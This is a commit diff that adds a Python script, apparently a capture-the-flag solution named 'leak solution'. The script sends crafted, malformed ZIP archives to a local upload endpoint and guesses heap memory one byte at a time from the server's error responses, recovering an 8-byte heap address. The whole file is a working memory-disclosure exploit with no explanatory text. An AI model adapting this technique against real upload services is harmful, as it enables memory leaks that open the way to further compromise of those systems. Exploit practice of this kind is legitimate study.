Add leak solution

solve/leak.py

@@ -0,0 +1,68 @@
+from struct import pack, unpack
+import requests
+
+url = "http://127.0.0.1:5000/upload"
+
+guess = 0
+leak = b""
+
+size_chunk = 0x20
+off_data = size_chunk * 2
+
+stored_block_lfh = b'PK\x03\x04\n\x00\x00\x00\x00\x00\xd2\xbb[X\xday\xa1\xa7\x04\x00\x00\x00\x04\x00\x00\x00\x05\x00\x1c\x00dummyUT\t\x00\x03\x8cb\xdee\x8cb\xdeeux\x0b\x00\x01\x04\xe8\x03\x00\x00\x04\xe8\x03\x00\x009\t\xb4\x13'
+stored_block_cd = b'PK\x01\x02\x1e\x03\n\x00\x00\x00\x00\x00\xd2\xbb[X\xday\xa1\xa7\x04\x00\x00\x00\x04\x00\x00\x00\x05\x00\x18\x00\x00\x00\x00\x00\x00\x00\x00\x00\xa4\x81\x00\x00\x00\x00dummyUT\x05\x00\x03\x8cb\xdeeux\x0b\x00\x01\x04\xe8\x03\x00\x00\x04\xe8\x03\x00\x00'
+
+cd = b"PK\x01\x02\x1e\x03\n\x00\x00\x00\x00\x00C\x8a[X\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00%b\x18\x00%b\x00\x00\x00\x00\x00\x00\xa4\x81%blinpeas.shUT\x05\x00\x03>\x0b\xdeeux\x0b\x00\x01\x04\xe8\x03\x00\x00\x04\xe8\x03\x00\x00"
+eocd = b"PK\x05\x06\x00\x00\x00\x00\x80\x00%b%b%b\x00\x00"
+
+lencd = len(cd % (b"00", b"00", b"0000"))
+leneocd = len(eocd % (b"00", b'0000', b'0000'))
+
+totsize = len(stored_block_lfh) 
+totsize += len(stored_block_cd) 
+totsize += lencd
+totsize += leneocd
+totsize += 8  # metadata of heap chunk
+while totsize & 0xf != 0:
+    totsize += 1
+
+off_data += totsize  # offset to the beg of "data"
+off_data -= 0x18     # ajust to the beg of data.filename
+
+print(f"{hex(size_chunk)=}\n{hex(off_data)=}")
+
+for _ in range(8):
+    off_data += 1
+
+    for guess in range(0x100):
+        # Add a classical stored block to put the free address on the heap
+        zip = stored_block_lfh
+        zip += stored_block_cd
+
+        # generate payload for the size and inject malicious cdh
+        payload = (guess << 8)
+        if len(leak):
+            payload += leak[0]
+
+        comp = (0x1000a - payload) % 0x10000
+        zip += cd % (pack("H", payload), pack("H", comp), pack("I", off_data))
+
+        # Add EOCD
+        zip += eocd % (
+            pack("H", 2),
+            pack("I", lencd + len(stored_block_cd)), 
+            pack("I", len(stored_block_lfh))
+            )
+
+        x = requests.post(url, files={'file': zip})
+        if "Error" not in x.text:
+            print("Found correct guess:", hex(guess))
+            leak = guess.to_bytes(1, "big") + leak
+
+    print(leak)
+
+leak_i = 0
+for i in range(8):
+    leak_i += leak[7-i] << (i*8)
+
+print(hex(leak_i))